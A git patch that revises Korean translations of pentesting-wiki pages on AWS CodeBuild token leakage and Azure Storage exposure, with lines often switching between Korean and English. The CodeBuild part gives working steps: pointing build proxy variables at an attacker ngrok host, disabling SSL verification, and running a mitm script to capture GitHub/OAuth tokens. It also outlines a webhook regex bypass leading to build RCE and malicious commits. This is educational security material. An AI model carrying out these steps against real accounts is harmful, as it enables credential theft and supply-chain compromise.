From 421f7729fdf42425e02ae9913531c44a7530496c Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 22:39:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 86 ++++---- .../azure-security/az-services/az-storage.md | 184 +++++++++--------- 2 files changed, 135 insertions(+), 135 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c3694c5ec..a33db459c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -8,41 +8,41 @@ ```bash aws codebuild list-source-credentials ``` -### Docker Image를 통해 +### Via Docker Image -예를 들어 계정에 Github에 대한 인증이 설정되어 있음을 발견하면, 프로젝트 빌드를 실행할 때 Codebuild가 **특정 Docker image를 사용**하도록 만들어 해당 **access** (**GH token or OAuth token**)를 **exfiltrate**할 수 있습니다. +If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. -이를 위해 **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 **환경**을 변경하여 **Docker image**를 설정할 수 있습니다. +For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. -1. **자신의 Docker MitM 이미지 생성 & 업로드** -- repo의 지침을 따라 프록시 IP 주소와 SSL cert를 설정하고 **docker image를 빌드**하세요. -- **DO NOT SET `http_proxy`** — metadata endpoint에 대한 요청을 가로채지 않기 위해서입니다. -- **`ngrok`**를 사용해서 `ngrok tcp 4444`와 같이 호스트로 프록시를 설정할 수 있습니다. -- Docker image를 빌드한 후에는 **public repo에 업로드**하세요 (Dockerhub, ECR...) -2. **환경 설정** -- **새 Codebuild 프로젝트**를 생성하거나 기존 프로젝트의 환경을 **수정**하세요. -- 프로젝트가 **이전에 생성한 Docker image**를 사용하도록 설정하세요. +1. **Create & Upload your own Docker MitM image** +- 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 **build the docker image** 하세요. +- 메타데이터 엔드포인트로의 요청을 가로채지 않으려면 **DO NOT SET `http_proxy`**. +- 프록시를 호스트로 설정하려면 **`ngrok`**을 사용하여 `ngrok tcp 4444`처럼 실행할 수 있습니다. +- Docker image를 빌드한 후 **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- **Create a new Codebuild project**를 만들거나 기존 프로젝트의 **modify**된 environment를 사용하세요. +- 프로젝트가 **previously generated Docker image**를 사용하도록 설정하세요.
-3. **호스트에 MitM 프록시 설정** +3. **Set the MitM proxy in your host** -- **Github repo**에 설명된 것처럼 다음과 같은 명령을 사용할 수 있습니다: +- **Github repo**에 명시된 것처럼 다음과 같은 방법을 사용할 수 있습니다: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> 사용된 **mitmproxy 버전은 9.0.1**이며, 버전 10에서는 동작하지 않을 수 있다고 보고되었습니다. +> **사용된 mitmproxy 버전은 9.0.1입니다**, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다. + +4. **빌드를 실행하고 자격 증명을 캡처하기** -4. **빌드를 실행하고 credentials를 캡처하세요** - -- **Authorization** 헤더에서 token을 확인할 수 있습니다: +- **Authorization** 헤더에서 토큰을 볼 수 있습니다:
-이 작업은 aws cli에서 다음과 같이 수행할 수도 있습니다 +이 작업은 aws cli에서도 다음과 같이 수행할 수 있습니다 ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### insecureSSL을 통한 +### insecureSSL를 통해 -**Codebuild** 프로젝트에는 **`insecureSsl`**라는 설정이 있으며 웹에서는 숨겨져 있어 API에서만 변경할 수 있다.\ -이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 저장소에 대해 **인증서를 확인하지 않고** 연결할 수 있다. +**Codebuild** 프로젝트에는 **`insecureSsl`**라는 설정이 있으며 웹에서는 숨겨져 있어 API에서만 변경할 수 있습니다.\ +이를 활성화하면 Codebuild가 플랫폼에서 제공하는 인증서를 **검증하지 않고** 리포지토리에 연결할 수 있습니다. -- 먼저 다음과 같은 명령으로 현재 구성을 열거해야 한다: +- 먼저 다음과 같은 명령으로 현재 구성을 열거해야 합니다: ```bash aws codebuild batch-get-projects --name ``` -- 그런 다음, 수집한 정보로 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시입니다. 끝부분의 **`insecureSsl=True`** 를 확인하세요(이 항목만 수집된 구성에서 변경하면 됩니다). -- 또한 환경 변수 **http_proxy** 및 **https_proxy** 를 tcp ngrok을 가리키도록 추가하세요: +- 그런 다음 수집한 정보로 프로젝트 설정 **`insecureSsl`** 를 **`True`** 로 업데이트할 수 있습니다. 아래는 제가 프로젝트를 업데이트한 예이며, 마지막에 **`insecureSsl=True`** 가 있는 것을 확인하세요 (수집된 설정에서 변경해야 할 유일한 항목입니다). +- 또한 환경 변수 **http_proxy** 및 **https_proxy** 를 tcp ngrok처럼 가리키도록 다음과 같이 추가하세요: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- 그런 다음, proxy 변수 (http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행하세요 +- 그런 다음, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 proxy variables (http_proxy and https_proxy)가 가리키는 포트에서 실행합니다. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- 마지막으로 **Build the project**를 클릭하면, **credentials**가 **sent in clear text** (base64)로 mitm 포트로 전송된다:
-### ~~HTTP 프로토콜을 통해~~ +### ~~Via HTTP protocol~~ -> [!TIP] > **이 취약점은 2023년 2월 20일 주 어느 시점(아마 금요일)에 AWS에서 수정되었습니다. 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)** +> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** -권한이 상승된 공격자는 **CodeBuild에 대해 구성된 Github/Bitbucket token을 leak할 수 있으며**, 권한이 OAuth로 구성된 경우에는 **코드에 접근하는 데 사용되는 임시 OAuth token**을 leak할 수 있습니다. +권한이 상승한 공격자는 **CodeBuild에서 구성된 Github/Bitbucket token을 leak할 수 있으며**, 권한이 OAuth로 구성되어 있다면 코드에 접근하는 데 사용되는 **temporary OAuth token**을 leak할 수 있다. -- 공격자는 자신의 머신을 가리키도록 CodeBuild 프로젝트에 환경 변수 **http_proxy**와 **https_proxy**를 추가할 수 있습니다(예: `http://5.tcp.eu.ngrok.io:14972`). +- 공격자는 환경 변수 **http_proxy** 및 **https_proxy**를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있다 (예: `http://5.tcp.eu.ngrok.io:14972`).
-- 그런 다음, github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions` -- 그런 다음, proxy 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다. +- 그 다음, github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경한다, 예: `http://github.com/carlospolop-forks/TestActions` +- 그런 다음, proxy 변수들(http_proxy 및 https_proxy)이 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)에 있는 기본 예제를 실행한다. ```python from mitm import MITM, protocol, middleware, crypto @@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 다음으로, **Build the project**를 클릭하거나 명령줄에서 빌드를 시작합니다: +- 다음으로, **프로젝트 빌드**를 클릭하거나 명령줄에서 빌드를 시작하세요: ```sh aws codebuild start-build --project-name ``` -- 마지막으로, **credentials**는 **평문**(base64)으로 mitm 포트로 전송됩니다: +- 마지막으로, **credentials**는 **clear text** (base64)로 mitm 포트로 전송됩니다:
> [!WARNING] -> 이제 attacker는 자신의 머신에서 token을 사용해 해당 토큰의 모든 권한을 나열하고, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 abuse할 수 있습니다. +> 이제 공격자는 자신의 머신에서 token을 사용해 해당 토큰이 가진 모든 권한을 확인하고, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있습니다. ## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) -언앵커된 `ACTOR_ID` regex를 사용하는 잘못 구성된 CodeBuild GitHub webhooks은 *untrusted* PR이 privileged builds를 시작하도록 허용합니다. allowlist가 `123456|7890123`처럼 `^`/`$` 없이 되어 있으면, 해당 부분 문자열을 포함하는 모든 ID가 매치됩니다. GitHub 사용자 ID가 연속적이기 때문에, attacker는 신뢰된 ID의 슈퍼스트링인 “eclipsing” ID를 등록하기 위해 경쟁(race)하여 빌드를 트리거할 수 있습니다. +잘못 구성된 CodeBuild GitHub webhooks로, unanchored `ACTOR_ID` regexes를 사용하면 *untrusted* PR들이 privileged builds를 시작할 수 있습니다. allowlist가 `123456|7890123`처럼 `^`/`$` 없이 설정되어 있으면, 해당 하위문자열(substring)을 포함하는 어떤 ID든 매치됩니다. GitHub 사용자 ID는 순차적이기 때문에, 공격자는 신뢰된 ID의 superstring인 “eclipsing” ID를 등록하기 위해 경쟁(race)하여 빌드를 트리거할 수 있습니다. **Exploit path** -1. 웹훅 필터를 노출한 공개 CodeBuild 프로젝트를 찾아 언앵커된 `ACTOR_ID` allowlist를 추출합니다. -2. eclipsing GitHub ID를 확보합니다: -- GitHub org를 생성/삭제해 글로벌 ID 카운터를 샘플링합니다 (org IDs도 동일 풀을 공유합니다). -- 많은 GitHub App manifest 생성 절차를 미리 준비해 두고, 카운터가 대상에서 약 100 ID 이내일 때 confirmation URLs를 실행해 신뢰된 부분문자열을 포함하는 봇 ID를 대량으로 등록합니다. -3. eclipsing 계정으로 PR을 열면 regex가 부분문자열과 매치되어 privileged build가 실행됩니다. -4. build RCE(예: dependency install hooks)를 이용해 GitHub credential을 처리하는 프로세스 메모리를 덤프하고 PAT/OAuth token을 복구합니다. -5. token의 `repo` scope를 이용해 본인 계정을 collaborator/admin으로 초대하고 악성 커밋을 푸시/승인하거나 비밀을 exfiltrate합니다. +1. 공개된 CodeBuild 프로젝트 중 webhook filters를 노출하는 것을 찾아 unanchored `ACTOR_ID` allowlist를 추출합니다. +2. eclipsing GitHub ID 획득: +- GitHub orgs를 생성/삭제하여 global ID counter를 샘플링합니다 (org IDs는 같은 풀을 공유합니다). +- 많은 GitHub App manifest 생성 작업을 미리 준비해두고, 카운터가 대상에서 약 ~100 IDs 이내로 접근했을 때 confirmation URLs를 발동시켜 신뢰된 substring을 포함한 bot ID를 한꺼번에 등록합니다. +3. eclipsing 계정으로 PR을 엽니다; regex가 substring을 매치하여 privileged build가 실행됩니다. +4. build RCE(예: dependency install hooks)를 이용해 GitHub credential을 처리하는 프로세스 메모리를 덤프하여 PAT/OAuth token을 복구합니다. +5. 토큰의 `repo` scope로 자신의 계정을 collaborator/admin으로 초대하고, 악성 커밋을 push/approve 하거나 비밀을 exfiltrate합니다. ## References - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 9d49b4c72..34c81ebdf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,22 +4,22 @@ ## 기본 정보 -Azure Storage Accounts는 Microsoft Azure에서 다양한 데이터 유형(예: blobs (binary large objects), 파일, 큐, 테이블)에 대해 확장 가능하고 안전하며 고가용성의 클라우드 **스토리지**를 제공하는 기본 서비스입니다. 이들은 이러한 다양한 스토리지 서비스를 단일 네임스페이스 아래에 그룹화하여 관리하기 쉽게 하는 컨테이너 역할을 합니다. +Azure Storage Accounts는 바이너리 대형 객체(blobs), 파일, 큐, 테이블 등 다양한 데이터 유형에 대해 확장 가능하고 안전하며 높은 가용성을 제공하는 Microsoft Azure의 기본 서비스입니다. 이들은 단일 네임스페이스 아래에 여러 스토리지 서비스를 그룹화하여 관리하기 쉽게 해주는 컨테이너 역할을 합니다. **주요 구성 옵션**: -- 모든 스토리지 계정은 **Azure 전역에서 고유한 이름**을 가져야 합니다. -- 모든 스토리지 계정은 **지역(region)** 또는 Azure 확장 영역에 배포됩니다. -- 더 나은 성능을 위해 스토리지 계정의 **premium** 버전을 선택할 수 있습니다. -- 랙, 드라이브 및 데이터센터 **장애**로부터 보호하기 위해 **4가지 중복 유형** 중에서 선택할 수 있습니다. +- 모든 storage account는 **Azure 전역에서 유일한 이름**을 가져야 합니다. +- 모든 storage account는 **리전** 또는 Azure 확장 존에 배포됩니다. +- 더 나은 성능을 위해 **premium** 버전의 storage account를 선택할 수 있습니다. +- 랙, 드라이브 및 데이터센터 **장애**로부터 보호하기 위해 **4가지 유형의 중복성** 중에서 선택할 수 있습니다. **보안 구성 옵션**: -- **Require secure transfer for REST API operations**: 스토리지와의 모든 통신에서 TLS를 요구합니다. -- **Allows enabling anonymous access on individual containers**: 비활성화되어 있으면 향후 개별 컨테이너에서 익명 액세스를 활성화할 수 없습니다. -- **Enable storage account key access**: 비활성화하면 Shared Keys로의 접근이 금지됩니다. +- **Require secure transfer for REST API operations**: storage와의 모든 통신에 TLS 요구 +- **Allows enabling anonymous access on individual containers**: 비활성화 상태이면 나중에 익명 접근을 활성화할 수 없음 +- **Enable storage account key access**: 비활성화 시 Shared Keys로 접근 금지 - **Minimum TLS version** -- **Permitted scope for copy operations**: 모든 스토리지 계정에서 허용, 동일한 Entra tenant의 모든 스토리지 계정에서 허용, 또는 동일 가상 네트워크의 private endpoints가 있는 스토리지 계정에서 허용. +- **Permitted scope for copy operations**: 모든 storage account에서 허용, 같은 Entra tenant의 모든 storage account에서 허용 또는 같은 가상 네트워크에 있는 private endpoints가 있는 storage account에서 허용 **Blob Storage 옵션**: @@ -30,46 +30,46 @@ Azure Storage Accounts는 Microsoft Azure에서 다양한 데이터 유형(예: - **Network access**: - 모든 네트워크에서 허용 -- 선택한 가상 네트워크 및 IP 주소에서 허용 -- 퍼블릭 액세스를 비활성화하고 private 액세스 사용 -- **Private endpoints**: 가상 네트워크에서 스토리지 계정으로의 프라이빗 연결을 허용합니다. +- 선택된 가상 네트워크 및 IP 주소에서 허용 +- 공개 액세스 비활성화 후 private access 사용 +- **Private endpoints**: 가상 네트워크에서 storage account로의 프라이빗 연결 허용 **데이터 보호 옵션**: -- **Point-in-time restore for containers**: 컨테이너를 이전 상태로 복원할 수 있게 합니다. -- 이를 위해 versioning, change feed, 및 blob soft delete를 활성화해야 합니다. -- **Enable soft delete for blobs**: 삭제된 블롭(덮어쓴 경우 포함)에 대해 일수 단위의 보존 기간을 설정합니다. -- **Enable soft delete for containers**: 삭제된 컨테이너에 대해 일수 단위의 보존 기간을 설정합니다. -- **Enable soft delete for file shares**: 삭제된 파일 공유에 대해 일수 단위의 보존 기간을 설정합니다. -- **Enable versioning for blobs**: 블롭의 이전 버전을 유지합니다. -- **Enable blob change feed**: 블롭의 생성, 수정 및 삭제 변경 사항을 로그로 보관합니다. -- **Enable version-level immutability support**: 계정 수준에서 모든 블롭 버전에 적용되는 시간 기반 보존 정책을 설정할 수 있게 합니다. -- Version-level immutability support와 point-in-time restore for containers는 동시에 활성화할 수 없습니다. +- **Point-in-time restore for containers**: 컨테이너를 이전 상태로 복원 허용 +- 이를 위해 versioning, change feed 및 blob soft delete가 활성화되어야 함. +- **Enable soft delete for blobs**: 삭제된 blob(덮어써진 경우 포함)에 대한 일 단위 보존 기간을 설정 +- **Enable soft delete for containers**: 삭제된 컨테이너에 대한 일 단위 보존 기간을 설정 +- **Enable soft delete for file shares**: 삭제된 file share에 대한 일 단위 보존 기간을 설정 +- **Enable versioning for blobs**: blob의 이전 버전 유지 +- **Enable blob change feed**: blob 생성, 수정, 삭제 변경 로그 유지 +- **Enable version-level immutability support**: 계정 수준에서 모든 blob 버전에 적용될 시간 기반 보존 정책 설정 허용 +- version-level immutability support와 point-in-time restore for containers는 동시에 활성화될 수 없음. **암호화 구성 옵션**: -- **Encryption type**: Microsoft-managed keys (MMK) 또는 Customer-managed keys (CMK)를 사용할 수 있습니다. -- **Enable infrastructure encryption**: 데이터를 "더 안전하게" 이중 암호화할 수 있게 합니다. +- **Encryption type**: Microsoft-managed keys(MMK) 또는 Customer-managed keys(CMK) 사용 가능 +- **Enable infrastructure encryption**: 데이터를 "추가로 암호화"하여 보안 강화 허용 ### Storage endpoints -
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
스토리지 서비스엔드포인트
Blob storagehttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
Data Lake Storagehttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
Queue storagehttps://<storage-account>.queue.core.windows.net
Table storagehttps://<storage-account>.table.core.windows.net
### 공개 노출 -"Allow Blob public access"가 **활성화**되어 있는 경우(기본값은 비활성화), 컨테이너를 생성할 때 다음이 가능합니다: +"Allow Blob public access"가 **활성화**된 경우(기본값은 비활성화), 컨테이너를 생성할 때 다음이 가능합니다: -- **블롭을 읽을 수 있는 공개 액세스 부여**(이름을 알고 있어야 함). -- 컨테이너 블롭 **목록화** 및 **읽기**. -- 완전히 **비공개**로 설정. +- **public access to read blobs** 허용(이름을 알아야 함). +- 컨테이너의 blobs **목록 조회** 및 **읽기** 가능. +- 완전히 **private**로 설정 가능.
-### Static website (`$web`) 노출 & leaked secrets +### Static website (`$web`) 노출 및 leaked secrets -- **Static websites**는 지역별 엔드포인트(예: `https://.z13.web.core.windows.net/`)를 통해 특별한 `$web` 컨테이너에서 제공됩니다. -- `$web` 컨테이너는 blob API를 통해 `publicAccess: null`을 보고할 수 있지만, 파일은 여전히 static site 엔드포인트를 통해 접근 가능하므로 구성/IaC 아티팩트를 해당 위치에 두면 secrets가 leak될 수 있습니다. -- 간단한 감사 워크플로: +- **Static websites**는 지역별 엔드포인트(예: `https://.z13.web.core.windows.net/`)를 통해 특수 `$web` 컨테이너에서 제공됩니다. +- `$web` 컨테이너는 blob API를 통해 `publicAccess: null`을 보고할 수 있지만, 파일은 여전히 static site endpoint를 통해 접근 가능하므로 config/IaC 아티팩트를 그곳에 올리면 secrets가 leak될 수 있습니다. +- 빠른 감사 워크플로: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -82,51 +82,51 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou ``` ### 익명 blob 노출 감사 -- **데이터를 노출할 수 있는 스토리지 계정 찾기**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. `allowBlobPublicAccess`가 `false`이면 컨테이너를 public으로 전환할 수 없습니다. -- **위험한 계정 검사**하여 플래그 및 기타 약한 설정 확인: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **플래그가 활성화된 경우 컨테이너 수준의 노출 열거**: +- **데이터를 노출할 수 있는 storage accounts 찾기**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. `allowBlobPublicAccess`가 `false`이면 컨테이너를 public으로 전환할 수 없습니다. +- **취약한 accounts 확인** — 플래그 및 기타 약한 설정 확인: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. +- **플래그가 활성화된 경우 컨테이너 수준 노출 열거:** ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` -- `"Blob"`: 익명 읽기 허용 **오직 blob 이름이 알려진 경우에만** (목록 불가). -- `"Container"`: 익명 **목록 + 읽기** (모든 blob). +- `"Blob"`: 익명 읽기 허용 **오직 blob 이름을 알 때만** (목록 불가). +- `"Container"`: 익명이 모든 blob에 대해 **목록 + 읽기** 가능. - `null`: 비공개; 인증 필요. - **접근 증명** 자격 증명 없이: -- If `publicAccess` is `Container`, anonymous listing works: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. -- For both `Blob` and `Container`, anonymous blob download works when the name is known: +- 만약 `publicAccess`가 `Container`이면, 익명 목록 조회가 가능합니다: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. +- `Blob`와 `Container` 둘 다, 이름을 알면 익명으로 blob을 다운로드할 수 있습니다: ```bash az storage blob download -c -n --account-name --file /dev/stdout # or via raw HTTP curl "https://.blob.core.windows.net//" ``` -### Connect to Storage +### 스토리지에 연결 -If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so. +연결할 수 있는 **storage**를 찾았다면 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 도구를 사용해 연결할 수 있습니다. -## Access to Storage +## 스토리지 접근 ### RBAC -It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way. +Entra ID principals를 **RBAC roles**와 함께 사용해 스토리지 계정에 접근할 수 있으며, 권장되는 방법입니다. ### Access Keys -The storage accounts have access keys that can be used to access it. This provides **스토리지 계정에 대한 전체 액세스 권한을 제공합니다.** +스토리지 계정에는 접근에 사용할 수 있는 액세스 키가 있습니다. 이는 스토리지 계정에 대한 f**ull access to the storage account.**
### **Shared Keys & Lite Shared Keys** -It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL. +액세스 키로 서명된 [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)를 생성하여 서명된 URL을 통해 특정 리소스에 대한 접근을 권한 부여할 수 있습니다. > [!NOTE] -> 참고로 `CanonicalizedResource` 부분은 스토리지 서비스의 리소스(URI)를 나타냅니다. URL의 어떤 부분이 인코딩되어 있다면, `CanonicalizedResource` 안에서도 동일하게 인코딩되어야 합니다. +> `CanonicalizedResource` 부분은 스토리지 서비스의 리소스(URI)를 나타냅니다. URL의 어떤 부분이 인코딩되어 있다면, `CanonicalizedResource` 내부에서도 동일하게 인코딩되어야 합니다. > [!NOTE] -> 이는 요청을 인증하는 데 기본적으로 **`az` cli**에서 사용됩니다. Entra ID principal 자격 증명을 사용하도록 하려면 파라미터 `--auth-mode login`을 지정하세요. +> 이는 기본적으로 요청 인증에 `az` cli에서 **사용됩니다**. Entra ID principal 자격 증명을 사용하려면 파라미터 `--auth-mode login`을 지정하세요. -- It's possible to generate a **shared key for blob, queue and file services** signing the following information: +- 다음 정보를 서명하여 **shared key for blob, queue and file services**를 생성할 수 있습니다: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -165,7 +165,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -그런 다음 키를 사용하려면 다음 구문을 따라 Authorization header에 넣으면 됩니다: +그런 다음 키를 사용하려면 Authorization 헤더에 다음 구문을 따라 넣으면 됩니다: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -179,70 +179,70 @@ Content-Length: 0 ``` ### **공유 액세스 서명** (SAS) -Shared Access Signatures (SAS)는 계정의 액세스 키를 노출하지 않고 Azure Storage 계정의 리소스에 접근하기 위해 특정 권한을 부여하는 보안적이고 시간 제한된 URL입니다. 액세스 키가 모든 리소스에 대한 전체 관리자 액세스를 제공하는 반면, SAS는 읽기나 쓰기 같은 권한을 지정하고 만료 시간을 정의하여 세분화된 제어를 가능하게 합니다. +Shared Access Signatures (SAS)는 계정의 액세스 키를 노출하지 않고 Azure Storage 계정의 리소스에 대한 특정 권한을 부여하는 보안적이고 시간 제한이 있는 URL입니다. 액세스 키는 모든 리소스에 대한 전체 관리자 액세스를 제공하는 반면, SAS는 읽기나 쓰기 같은 권한을 지정하고 만료 시간을 정의해 세분화된 제어를 허용합니다. -#### SAS 유형 +#### SAS Types -- **User delegation SAS**: 이것은 **Entra ID principal**로부터 생성되며, 해당 principal이 SAS에 서명하고 사용자로부터 SAS로 권한을 위임합니다. **blob and data lake storage**에서만 사용할 수 있습니다 ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). 생성된 모든 user delegated SAS를 **폐기(revoke)**할 수 있습니다. -- 사용자가 가지고 있는 권한보다 "더 많은" 권한으로 delegation SAS를 생성할 수 있는 경우가 있습니다. 그러나 principal이 해당 권한을 실제로 가지고 있지 않다면 동작하지 않습니다(권한 상승 없음 — no privesc). -- **Service SAS**: 이것은 스토리지 계정의 하나의 **액세스 키(access keys)**로 서명됩니다. 단일 스토리지 서비스 내의 특정 리소스에 대한 접근을 부여하는 데 사용될 수 있습니다. 키가 갱신되면 SAS는 동작을 멈춥니다. -- **Account SAS**: 이것도 스토리지 계정의 하나의 **액세스 키(access keys)**로 서명됩니다. Blob, Queue, Table, File과 같은 스토리지 계정 서비스 전반의 리소스 접근을 부여하며 서비스 수준 작업을 포함할 수 있습니다. +- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS. +- 사용자가 가진 것보다 "더 많은" 권한으로 delegation SAS를 생성할 수 있는 경우가 있습니다. 그러나 principal에게 해당 권한이 없으면 작동하지 않습니다 (no privesc). +- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working. +- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations. -액세스 키로 서명된 SAS URL 예시는 다음과 같습니다: +A SAS URL signed by an **access key** looks like this: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -User delegation으로 서명된 SAS URL 예시는 다음과 같습니다: +A SAS URL signed as a **user delegation** looks like this: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -몇 가지 **HTTP 파라미터**에 주목하세요: +Note some **http params**: -- `se` 파라미터는 SAS의 만료 날짜를 나타냅니다. -- `sp` 파라미터는 SAS의 권한(permissions)을 나타냅니다. -- `sig`는 SAS를 검증하는 서명(signature)입니다. +- The **`se`** param indicates the **expiration date** of the SAS +- The **`sp`** param indicates the **permissions** of the SAS +- The **`sig`** is the **signature** validating the SAS -#### SAS 권한 +#### SAS permissions -SAS를 생성할 때 부여할 권한을 지정해야 합니다. 대상 객체에 따라 포함될 수 있는 권한이 달라집니다. 예를 들어: +When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete -## Azure Blob Storage용 SFTP 지원 +## SFTP Support for Azure Blob Storage -Azure Blob Storage는 이제 SSH File Transfer Protocol (SFTP)을 지원하여, 커스텀 솔루션이나 서드파티 제품 없이 직접 Blob Storage로의 안전한 파일 전송 및 관리를 가능하게 합니다. +Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products. -### 주요 기능 +### Key Features -- Protocol Support: SFTP는 hierarchical namespace (HNS)로 구성된 Blob Storage 계정에서 작동합니다. 이는 blob을 디렉터리와 하위 디렉터리로 구성하여 탐색을 용이하게 합니다. -- Security: SFTP는 인증을 위해 로컬 